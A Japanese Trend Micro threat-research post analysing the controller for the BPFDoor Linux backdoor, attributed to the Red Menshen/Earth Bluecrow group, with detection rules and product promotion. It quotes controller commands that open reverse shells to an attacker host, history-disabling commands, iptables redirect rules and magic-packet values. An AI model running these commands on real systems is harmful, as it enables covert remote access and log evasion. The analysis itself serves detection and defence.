マルウェア
BPFフィルタを悪用するバックドア型マルウェア「BPFDoor」のコントローラを初確認:AMEA地域を狙う国家背景の標的型攻撃者集団「Red Menshen(別名:Earth Bluecrow)」による攻撃の可能性
バックドア型マルウェア「BPFDoor」と紐づくコントローラにリバースシェルを開かせることで攻撃者は、侵害されたネットワーク内の奥深くまで潜入し、より多くのシステムを制御したり、機密データにアクセスしたりできるようになります。最近では、韓国、香港、ミャンマー、マレーシア、エジプトの電気通信業、金融業、小売業を狙う攻撃活動が確認されています。
- サイバー諜報活動のために設計されたバックドア型マルウェア「BPFDoor」は、国家背景とされる標的型攻撃者集団も用いている可能性があります。トレンドマイクロはBPFDoor攻撃に係る調査を通じて、他の事例では確認されていないコントローラを発見しました。本コントローラは、APT(Advanced Persistent Threat)に分類される標的型攻撃者集団「Red Menshen(弊社は「Earth Bluecrow」として追跡)」に起因するものと推測されます。
- 本コントローラは、リバースシェルを開く機能を備えています。これにより攻撃者は、侵入したネットワーク内の奥深くまで潜入し、より多くのシステムを制御したり、機密データにアクセスしたりできるようになります。
- トレンドマイクロの観測データ(テレメトリ)によると、最近のBPFDoor攻撃は電気通信業、金融業、小売業などに集中しており、韓国、香港、ミャンマー、マレーシア、エジプトで確認されています。
- BPFDoorは、ステルス性の高い検出回避手法を備えています。ネットワーク全体を可視化し、包括的な洞察を提供するセキュリティソリューション「Trend Vision One™ Network Security」をご利用のお客様は、TippingPointの侵入防御ルールやDeep Discovery Inspector(DDI)に設定されたルールにより、こうした脅威から保護されます。
はじめに
高いステルス性を備えたバックドア型マルウェア「BPFDoor」は、ステルス性に寄与するルートキット型マルウェアに類似する形で、多くの亜種が「BPF(Berkeley Packet Filtering)」の悪用手口に用いられています(トレンドマイクロ製品では「Backdoor.Linux.BPFDOOR」として検出)。
以前の記事でトレンドマイクロは「BPFDoor」や「BPFを悪用して動作するマルウェア」の仕組みなどについて詳説しました。BPFとは、システム上で動作するカーネルベースの仮想端末内でバイトコードを実行できるようにする技術のことです。BPFは20年以上の歴史があり、eBPF(当時はextended BPFの略)がリリースされた2014年以降に多くの衆目を集めました。
BPFDoorは、Classic BPF(cBPF)とも呼称される「BPF」のパケットフィルタリング機能を悪用します。具体的には、netfilter(Linux上のファイアウォール)や任意のトラフィックキャプチャツールなど、オペレーティングシステム(OS)におけるプロトコルスタックの上位層でネットワークパケットを検査できるフィルタをロードします。
BPFDoorによってロードされたフィルタは、「マジックナンバー」を含むネットワークパケットに基づいたマルウェア起動を可能にします。これらのマジックナンバーは、攻撃者によって定義された一連のバイトシーケンスであり、感染端末上のBPFDoorに不正活動を実行するよう指示するために用いられます。「Symbiote」などの別のマルウェアもBPFを悪用してステルス性に寄与する機能を提供することがセキュリティベンダ「BlackBerry社」のブログ記事で解説されています。
標的OS内におけるBPFの実装方法により、マジックパケットがファイアウォールでブロックされたとしても、バックドアは起動します。実体としては、マジックパケットが最初にカーネルのBPFエンジンに到達するためであり、これによりメモリ内で待機状態のバックドアが起動します。このような機能はルートキットの多くに共通するものですが、バックドアでは通常見られないものです。
上記のような機能を備えたバックドアは、長期間ネットワーク内に潜伏することができるほか、ポートスキャンなどの一般的なセキュリティスキャン機能では異常が検知されません。さらにBPFDoorは、プロセス名を変更したり、任意のポートを待機(リッスン)しないといった動作による検出回避手法も備えているため、システム管理者は、感染サーバ上で発生した問題を察知することが困難となります。これらのことからBPFDoorは、長期的な諜報活動における実効性の高いツールとして用いられています。
BPFDoorの背景と最新の標的業界
BPFDoorは少なくとも4年前から攻撃活動に用いられています。コンサルティング合同会社「PwC(PricewaterhouseCoopers)」のレポートでは2021年にBPFDoorが関与した複数の事例について言及されているほか、同バックドアがRed Menshenに起因するものとしています。
トレンドマイクロのテレメトリによると同APTグループ「Red Menshen(弊社ではEarth Bluecrowとして追跡)」は、現在もアジア・中東・アフリカ(AMEA)地域の企業や組織を対象に攻撃活動を活発化させています(表1)。

同グループは、上述した企業や組織のLinuxサーバを標的としたほか、自身のマルウェアを隠匿するために、以下のようなさまざまなパスを使用しました。なお、同グループが用いた初期侵入地点については現在も調査中です。
/tmp/zabbix_agent.log
/bin/vmtoolsdsrv
/etc/sysconfig/rhn/rhnsd.conf
トレンドマイクロは同グループの標的となったサーバの中で、同グループによる内部活動・情報探索の後、同一ネットワーク内で影響を受けた別のホストコンピュータにアクセスするために用いられたマルウェアコントローラを発見しました。類似する形で、いくつかの事例では、複数のサーバが侵害されていました。
これは、同グループがBPFDoorに感染したホストを積極的に制御し、後に用いるツールを追加でアップロードしていることを示しています。なお、今回の調査で特定されたコントローラファイルは、別の事例での使用が確認されていません。
BPFDoorコントローラ
当コントローラから同グループの手法に係る興味深い詳細が明らかとなりました。
BPFDoorによって注入されたBPFフィルタが確認する「マジックパケット」の1つを送信する前にコントローラは、ユーザにパスワードを入力するよう要求します。入力されたパスワードは、BPFDoor側でも確認されます。
入力されたパスワードと使用されたコマンドラインオプションに応じてコントローラは、感染端末に以下のアクションのいずれかを実行するよう要求します。
- リバースシェルを開く
- 特定のポート上のシェルに新たな通信を転送する
- バックドアがアクティブであることを確認する。
以下に対応するコマンドラインオプションの一覧を示します。

コントローラから送信されるパスワードは、BPFDoorにハードコードされた値のいずれかと一致する必要があります。トレンドマイクロが発見したコントローラに紐づくBPFDoor(検体)は、図1に示すように、平文のパスワードの前に固定されたソルトを付加します。そしてMD5ハッシュを計算し、ハードコードされた値と比較します。

コントローラは、様々な接続モードを用いるだけでなく、BPFDoorの対応する3つのプロトコル(TCP、UDP、ICMP)を使用して感染端末を制御することから、汎用性を十分に備えていると考えられます。
さらにコントローラは、各プロトコルに対してハードコードされたマジックナンバーを使用しますが、攻撃者が手動で設定することも可能です(オプション「-f」と「-x」、表2)。これは、攻撃者が選択肢の一つとしてマジックナンバーを変更することで、コントローラを異なるBPFDoorで動作するようにしたことを示しています。
マジックナンバーの件に加えて、パスワードは感染端末内で実行中のBPFDoorに設定されたパスワードの1つと一致する必要があります。攻撃者は「-c」オプションを用いることで通信を暗号化させることができます。なお、BPFDoorにシェルを開かせたり、ポートを待機させたりするためには、正しいパスワードを入力する必要があります。
以下に解説する2つの接続モード(リバース接続モード、ダイレクトモード)は、「Sandfly security社」のブログで解説されていますが、弊社の調査結果はコントローラ側の視点でお伝えします。
リバース接続モード
TCPモード
具体例として、攻撃側と防御側の視点で解説します。攻撃側が、ある端末(IPアドレス:192.168.32.133)から感染端末(IPアドレス:192.168.32.156)を操作しているとします。攻撃側は、以下のコマンドを用いて、暗号化されたリバースシェルセッションを開くよう標的端末上で動作するBPFDoorに要求します。
./controller -cd 22 –h 192.168.32.156 -ms 8000
以下にコマンドラインの詳細を示します。
- 「-c」は、暗号化を有効化するために用いられます(オプションとして用いられる)。
- 「-d 22」は、宛先ポートを22/tcpに設定するために用いられます(対象の宛先ポートは開放されている必要がある)。感染ホストがマジックパケットを受け入れる必要はありません。このオプションは、マジックナンバーを確認するBPFプログラム(BPFDoorによってロードされる)を起動するためだけに用いられます。
- 「-h 172.16.23.129」は、標的端末のIPアドレスです。
- 「-m」は、攻撃側の端末の外部IPアドレスをリバース接続の宛先ホストとして設定するために用いられます。
- 「-s 8000」は、攻撃側の端末の着信接続を待機する宛先ポートを設定するために用いられます。
プロセスは以下のように動作します。
- コントローラは、アクティベーションパケット(マジックナンバー、標的端末が接続するリモートIPアドレスとポート番号、パスワードを含む)を送信します。
- コントローラは、2つのオプション(「-m」と「-s 8000」、表2)により、ポート8000/tcpを待機します。
- 標的端末はマジックパケットを読み取り、すべてが期待するものと一致する場合、リモートIPアドレスとポートに接続します。「-m」が使用された場合、リモートIPアドレスはコントローラのIPアドレスになります。
- リバースシェルが開かれます。

以下の動画では、トレンドマイクロが設定したシミュレーションにおいて対象のプロセスが実際にどのように機能するかを解説しています。
まず、動画下部に標的端末が表示されます。トレンドマイクロは初めに標的端末のIPアドレスを確認し、BPFDoor(検体)を実行しました。続いて同端末内にBPFフィルタがssコマンドでロードされたことを再度確認しました。
次に、攻撃側の端末上でコントローラを実行し、標的端末のIPアドレスと開放されているSSHポートを指定しました。その後に特定のパスワードを入力すると、リバース接続が開始されます。
動画で解説するように攻撃側は、シェルおよびMySQLコマンドライン内に入力されたコマンドのログが記録されないように細心の注意を払っていました。この手口は、以下のコマンドにより実行されます。
export MYSQL_HISTFILE=/dev/null
export HISTFILE=/dev/null
上記は、攻撃側が特にMySQLサーバソフトウェアを実行している端末を標的対象としていることを示唆しています。
ネットワークレベルでは、コントローラから送信された最初のTCPパケットに既定のマジックナンバー「0x5293」が含まれている(TCPペイロードの先頭)ほか、動画内で用いたパスワード「justrobot」も確認できます(図3)。

図3の強調表示された行は以下を示しています。
- 52 93 00 00 - TCPで使用されるマジックナンバー「0x5293」
- c0 a8 20 85 - リモートIPアドレスが192.168.32.133に設定されている(「-m」オプションを用いたため)
- 1f 40 - リモートポート番号が8000に設定されている
- 「justrobot」 - 暗号化されていないパスワード
防御側は、24バイトのTCPペイロードの先頭に32ビットサイズの0x5293を含み、その後に32ビットのIPv4アドレス、16ビットのポート番号、NULL終端文字列(ASCIIコード)が続くTCPパケットに注意する必要があります。
ただし誤検知を避けるためには、より詳細にパケットを解析する必要がある点にご留意ください。さらにマジックナンバーは、2つのオプション(「-f」と「-x」)により簡単に変更される可能性があります。2023年9月20公開記事では、TCPパケット上で特定のオフセットに位置するマジックナンバー「0x39393939」を用いる検体について取り上げました。
コントローラに「-d」オプション(表2)が用いられた場合、UDPポートを含め、開放された任意のポートで動作します。
UDPモード
以下のコマンドは、「avahi-daemon」プロセスによって解放されたポート(5353/udp)をコントローラに使用させるために用いられます。
./controller -cud 5353 -h 192.168.32.156 -ms 8000
唯一の違いは、攻撃者がコントローラに既定のTCPプロトコルを使用させる代わりにUDPを使用するよう設定する「-u」オプションを用いている点です。これに対して防御側は、UDPペイロードの先頭にマジックナンバー「0x7255」を含むUDPパケットを見つけ出す必要があります。図4は、パケットキャプチャツール「Wireshark」で取得したトラフィックの内容です。

図4に示すように防御側は、32ビットサイズの0x7255で始まるUDPペイロードを見つけ出す必要があります。
ICMPモード
標的端末内でTCPまたはUDPポートが開放されていない場合(インターネット接続されたサーバでは稀)、攻撃側はICMP経由で標的端末への接続を試行します。用いられる可能性のあるコマンドを以下に示します。
sudo ./controller -cid 1 -h 192.168.32.156 -ms 8000
上記コマンドの通り、宛先ポート番号(「-d」オプション)を含める必要がありますが、ポートという概念のないICMPモードにおいては重要な情報ではありません。
図5にマジックナンバー「0x7255」とパスワードを含むICMPエコー要求(ping)を示します。なお、リバースシェルはTCPを使って開かれます。

コントローラを認証するパスワードは、感染した亜種毎に異なる可能性があります。したがって、これらのパスワード情報に依存するファイルベースやネットワークベースの検出ルールを記述することは対策として効果的ではありません。
ダイレクトモード
感染活動をより簡潔なものにするために攻撃側は、コントローラが感染端末に直接接続してリバース接続なしで感染端末上のシェルを取得する機能を備えさせています。この手口を達成させるために攻撃側は、以下のようなコマンドを用いると考えられます。
./controller -cd 22 -h 192.168.32.156
ダイレクトモードを有効化するには、正しいパスワードが提供される必要があります。正しいパスワードが提供されるとBPFDoorは、一連のiptablesコマンドを使用します。本コマンドにより、コントローラのIPアドレスから宛先ポート(この例では22/tcp)に対する新たな通信が感染ホスト上で最初に利用可能なポート(42391~43390の間)に転送されます。その後BPFDoorは、転送されたポート上でシェルを提供します。以下に上記コマンドを示します。
/sbin/iptables -I INPUT -p tcp -s <コントローラのIPアドレス> -j ACCEPT
/sbin/iptables -t nat -A PREROUTING -p tcp -s <コントローラのIPアドレス> --dport <宛先ポート> -j REDIRECT --to-ports <ポート番号(42391~43390)>
コントローラは、感染端末に変更内容が反映されるまで数秒待機した後、同じIPアドレスとポート(おそらくこの時点で転送されている)に接続しようと試みます。

TCPポートにバインドされた正規サービス(この例ではSSH)の中断を避けるためにBPFDoorは、以前に追加したiptablesルールを削除します。攻撃側はルールが削除される頃にはすでに感染端末への接続を得ており、任意のコマンドを実行できます。BPFDoorコントローラをダイレクトモードで実行した際の動作は、以下の動画内でご確認いただけます。
ダイレクトモードは、TCPでのみ動作します(コントローラが特定の応答を期待するため)。このため防御側では、文字列「3458」が記述された4バイトのTCPペイロードを含むアウトバウンドパケット(TCP)を見つけ出す必要があります。

アトリビューション(攻撃者集団に関わる帰属)
トレンドマイクロは、今回の攻撃キャンペーンで採用された戦術、手法、手順(Tactics、Techniques、Procedures⦅TTPs⦆)、標的とする業界、BPFDoorコントローラが他の事例で確認されていないという事実、BPFDoorに用いられたコーディングスタイルやプログラミング言語に類似することなどを加味し、同コントローラを含む攻撃キャンペーンが「Red Menshen(Earth Bluecrow)」グループによって実行されたと中程度の確信度を持ってお伝えします。BPFDoorのソースコードが2022年にソフトウェア開発プラットフォーム「GitHub」上に公開されたことから、本稿執筆時点ではBPFDoorを用いた別の攻撃キャンペーンがRed Menshen(Earth Bluecrow)に起因するとは言い切れません。
まとめ
BPFDoorはBPFを悪用してバックドアを起動します。BPFフィルタの悪用事例は他にも確認されています。先述の通り、Symbioteを用いる攻撃者は、自身の手口がトラフィックキャプチャツールで検出されないようにするためにBPFフィルタを悪用しています。
将来マルウェア作成者は、BPFを悪用した新たな回避策を考案してセキュリティ侵害を引き起こす可能性があります。これに備えてスレットリサーチャは、BFPのコードを事前に分析して対応策を講じることで、企業や組織のIT資産を保護することができます。
さらにBPFの動作環境がLinuxだけでないことに考慮する必要があります。具体例として、Oracle SystemsのOracle SolarisにおけるXScreenSaverに関する脆弱性「CVE-2019-3010」を悪用するBPFDoorが確認されているほか、eBPFをWindowsに導入するオープンソースプロジェクトによる取り組み「ebpf-for-windows」も行われています。こうしたことから、別のOS環境で開始された攻撃活動を深堀調査し、常に警戒する必要があります。
Trend Vision One™によるプロアクティブなセキュリティ対策
「Trend Vision One™」は、Cyber Risk Exposure Management(CREM)、セキュリティ運用、多層防御による堅牢な保護対策を一元化できる唯一のAI搭載型エンタープライズサイバーセキュリティプラットフォームです。Trend Vision Oneによる包括的なアプローチは、脅威の予測と防止を支援し、IT資産全体にまたがる攻撃の発見、影響範囲や侵入経路の特定、攻撃の全体像の可視化、自動化を含む迅速な対処など、高度なインシデントレスポンスを可能とします。
さらに数十年にわたる人間の知見と、業界初となる能動的なサイバーセキュリティに特化したAIエージェント「Trend Cybertron™」を融合させることで、ランサムウェア攻撃によるリスクを92%低減し、検出時間を99%短縮させるという結果がもたらされました。セキュリティリーダーは、容易に作成可能なカスタムダッシュボードとレポートを用いて、利害関係者にリスクと同業他社のベンチマークに関する統一された見解を提供できるため、単なる報告に留まらず、ネクストアクションの策定に活用できます。
Trend Vision Oneを導入することで、実行可能かつ効果的な方法でリスクを管理できます。継続的なリアルタイムのリスク診断から得た洞察をもとに、優先順位の高い問題から対応策を講じることができます。さらに、企業全体のリスク対応を体系化して自動的に実行し、効率を高めます。この仕組みは、セキュリティチームがプロアクティブに行動できるように構築されています。
トレンドマイクロが提供する保護対策
トレンドマイクロ製品をご利用のお客様は、以下のルールとフィルタにより、本ブログ記事で言及された脅威から保護されます。
Trend Vision One™ Network Security
Deep Discovery Inspector(DDI)に設定されたルール
5360: ICMP_BPFDOOR_REQUEST.APT
TippingPointにおける侵入防御ルール
45583: ICMP: Backdoor.Linux.Bpfdoor.USELVH222 Runtime Detection (Ingress - Activation Packet)
45589: Backdoor.Linux.Bpfdoor.USELVH222 Runtime Detection (Ingress - Activation Packet)
45590: Backdoor.Linux.Bpfdoor.USELVH222 Runtime Detection (Ingress - Activation Packet)
Trend Vision One スレットインテリジェンス
Trend Vision Oneをご利用のお客様は、高度化する脅威に先手を打つために、Trend Vision One内で提供される各種インテリジェンスレポート(Intelligence Reports)と脅威インサイト(Threat Insights)をご活用いただけます。
Threat Insightsは、サイバー脅威が発生する前に講じるべき事前予防に役立つ情報の取得が可能となるソリューションです。セキュリティアナリストは、脅威分析時に必要となる以下のような情報にアクセスいただけます。
- 新たな脅威情報
- 攻撃者集団に関する情報
- 攻撃者集団が用いる既知の戦術、手法、手順(TTPs)やこれまでに実施してきた不正活動に関する情報
- 共通脆弱性識別子(CVE)に関する情報
- 脅威のプロファイル情報
Threat Insightsをご活用いただくことで、お客様のデジタル環境の保護につながり、結果としてセキュリティリスクを軽減させ、サイバー脅威に効率的に対処するためのプロアクティブな対策を講じることができます。
Trend Vision Oneのアプリ「Intelligence Reports」(IoCに関わる情報)
- BPFDoor IOC used in Earth Bluecrow campaigns
Trend Vision Oneのアプリ「Threat Insights」
- 攻撃者集団:Earth Bluecrow
- 新たな脅威に関わる情報:BPFDoor’s Hidden Controller Used Against AMEA Targets
スレットハンティングクエリ
Trend Vision Oneの検索機能「Search」アプリ
Trend Vision Oneをご利用のお客様は、検索アプリにお客様の環境内のデータを用いることで、本ブログ記事で言及されている悪意のある指標をマッチングまたはハントすることができます。
(tags: "XSAE.F11533" OR malName: BPFDOOR)
トレンドマイクロ製品をご利用のお客様は、以下のように検出されたファイルを検索して対処してください。
Backdoor.Linux.BPFDOOR
侵入の痕跡(Indicators of Compromise、IoC)
本ブログ記事に関する侵入の痕跡は、こちらをご参照ください。
参考記事:
BPFDoor’s Hidden Controller Used Against Asia, Middle East Targets
By: Fernando Mercês
翻訳:益見 和宏(Platform Marketing, Trend Micro™ Research)